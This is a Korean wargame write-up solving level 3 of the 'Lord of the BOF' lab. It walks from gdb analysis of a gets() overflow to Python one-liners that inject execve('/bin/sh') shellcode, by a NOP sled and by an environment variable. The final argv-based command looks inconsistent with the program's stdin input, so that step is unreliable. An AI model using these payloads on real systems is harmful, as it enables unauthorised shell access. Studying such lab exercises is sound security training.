-
lvl 03 cobolt -> goblinWargame/HackerSchool The Load of the BOF Redhat 2019. 1. 22. 09:41
→ 소스코드는 아래와 같다.
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - goblin
4 - small buffer + stdin
5 */
6
7 int main()
8 {
9 char buffer[16];
10 gets(buffer);
11 printf("%s\n", buffer);
12 }
→ 어셈블리 코드는 아래와 같다.
0x80483f8
0x80483f9
0x80483fb
0x80483fe
0x8048401
0x8048402
0x8048407
0x804840a
0x804840d
0x804840e
0x8048413
0x8048418
0x804841b
0x804841c
<main>
<main+1>
<main+3>
<main+6>
<main+9>
<main+10>
<main+15>
<main+18>
<main+21>
<main+22>
<main+27>
<main+32>
<main+35>
<main+36>
push %ebp
mov %ebp,%esp
sub %esp,16
lea %eax,[%ebp-16]
push %eax
call 0x804830c <gets>
add %esp,4
lea %eax,[%ebp-16]
push %eax
push 0x8048470
call 0x804833c <printf>
add %esp,8
leave
ret
→ level 2 문제와 달라진 점은 argv로 받던 인자를 표준입력 즉, stdin을 통해서 입력 받는다. 스택 구조는 아래와 같다.
→ RET에 도달하기 위한 바이트 사이즈를 구하면 BUFFER(16 바이트)+SFP(4 바이트) 이므로 총 20바이트이다. 쉘 코드를 삽입하기엔 버퍼의 크기가 작으므로, RET보다 높은 주소의 영역에 쉘 코드를 넣고 실행해 본다.
→ 먼저 gdb를 이용해 스택 구조 및 주소를 확인한다.
[cobolt@localhost temp]$ gdb -q goblin
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>: push %ebp
0x80483f9 <main+1>: mov %ebp,%esp
0x80483fb <main+3>: sub %esp,16
0x80483fe <main+6>: lea %eax,[%ebp-16]
0x8048401 <main+9>: push %eax
0x8048402 <main+10>: call 0x804830c <gets>
0x8048407 <main+15>: add %esp,4
0x804840a <main+18>: lea %eax,[%ebp-16]
0x804840d <main+21>: push %eax
0x804840e <main+22>: push 0x8048470
0x8048413 <main+27>: call 0x804833c <printf>
0x8048418 <main+32>: add %esp,8
0x804841b <main+35>: leave
0x804841c <main+36>: ret
0x804841d <main+37>: nop
0x804841e <main+38>: nop
0x804841f <main+39>: nop
End of assembler dump.
(gdb) b *main+18
Breakpoint 1 at 0x804840a
(gdb) r
Starting program: /home/cobolt/temp/goblin
AAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Breakpoint 1, 0x804840a in main ()
(gdb) x/30wx $esp // 0x43434343 리턴 주소 자리
0xbffffae8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf8: 0x42424242 0x43434343 0x44444444 0x44444444
0xbffffb08: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb18: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb28: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb38: 0x44444444 0x40013e00 0x00000001 0xbffffc3c
0xbffffb48: 0x00000000 0xbffffc55 0xbffffc6b 0xbffffc83
0xbffffb58: 0xbffffca2 0xbffffcc4
→ 다음과 같은 페이로드를 구성할 수 있다.
→ 구성한 페이로드를 바탕으로 다음과 같이 공격한다.
(python -c 'print "\x90"*20+"\x04\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)|./goblin
→ 결과는 아래와 같다.
→ 위의 방법을 제외한 환경변수를 이용하여 풀 수도 있다.
→ level 2와 동일하게 환경변수를 이용하여 쉘 코드를 실행한다. 아래와 같이 환경변수에 쉘 코드를 저장한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
→ 기존의 C 코드를 수정해 getenv()함수를 이용하여 환경변수에 저장된 변수 주소를 찾는다.
int main()
{
char buffer[16];
gets(buffer);
// printf("%s\n", buffer);
printf("0x%x\n",getenv("SHELLCODE"));
}
→ 환경변수 주소는 아래와 같다.
→ 확인한 주소를 바탕으로 다음과 같이 공격한다.
./goblin $(python -c 'print "\x90"*20+"\xcf\xfe\xff\xbf"')
→ 결과는 아래와 같다.
'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글
lvl 06 wolfman -> darkelf (0) 2019.03.11 lvl 05 orc -> wolfman (0) 2019.03.11 lvl 04 goblin -> orc (0) 2019.03.08 lvl 02 gremlin -> cobolt (0) 2019.01.13 lvl 01 gate -> gremlin (0) 2019.01.10 댓글